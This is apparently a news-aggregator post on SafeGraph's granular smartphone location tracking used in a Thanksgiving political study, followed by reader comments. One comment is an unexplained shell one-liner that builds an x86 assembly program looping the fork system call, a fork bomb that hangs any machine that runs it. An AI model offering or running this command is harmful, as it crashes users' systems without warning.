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Why is this Company Tracking Where You Are on Thanksgiving? (theoutline.com)
Earlier this week, several publications published a holiday-themed data study about how families that voted for opposite parties spent less time together on Thanksgiving, especially in areas that saw heavy political advertising. The data came from a company called SafeGraph that supplied publications with 17 trillion location markets for 10 million smartphones. A report looks at the bigger picture: The data wasn't just staggering in sheer quantity. It also appears to be extremely granular. Researchers "used this data to identify individuals' home locations, which they defined as the places people were most often located between the hours of 1 and 4 a.m.," wrote The Washington Post. The researchers also looked at where people were between 1 p.m. and 5 p.m. on Thanksgiving Day in order to see if they spent that time at home or traveled, presumably to be with friends or family. "Even better, the cellphone data shows you exactly when those travelers arrived at a Thanksgiving location and when they left," the Post story says. To be clear: This means SafeGraph is looking at an individual device and tracking where its owner is going throughout their day. A common defense from companies that creepily collect massive amounts of data is that the data is only analyzed in aggregate; for example, Google's database BigQuery, which allows organizations to upload big data sets and then query them quickly, promises that all its public data sets are "fully anonymized" and "contain no personally-identifying information." In multiple press releases from SafeGraph's partners, the company's location data is referred to as "anonymized," but in this case they seem to be interpreting the concept of anonymity quite liberally given the specificity of the data.
I firewall every app, including google apps on my phone using the free firewall NetGuard. I also have data turned off and data limits set to zero. I also keep my phone in airplane mode, although that would be impractical for most people. This assures that I am never tracked by google, our Nazi snooping government, etc.
Yes.
Tovarishch, all this talk of Russian interference is absurd.
Does this tea taste like polonium to you?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In other news researchers also said that 65.237 percent of moms wished that their children away at college would call home more often. For children whose names begin with B, the percentage of mothers who want their children to call home is 71.237. For moms whose first name begins with L, the percentage is 73.543. The researches assured us that the data is anonymized.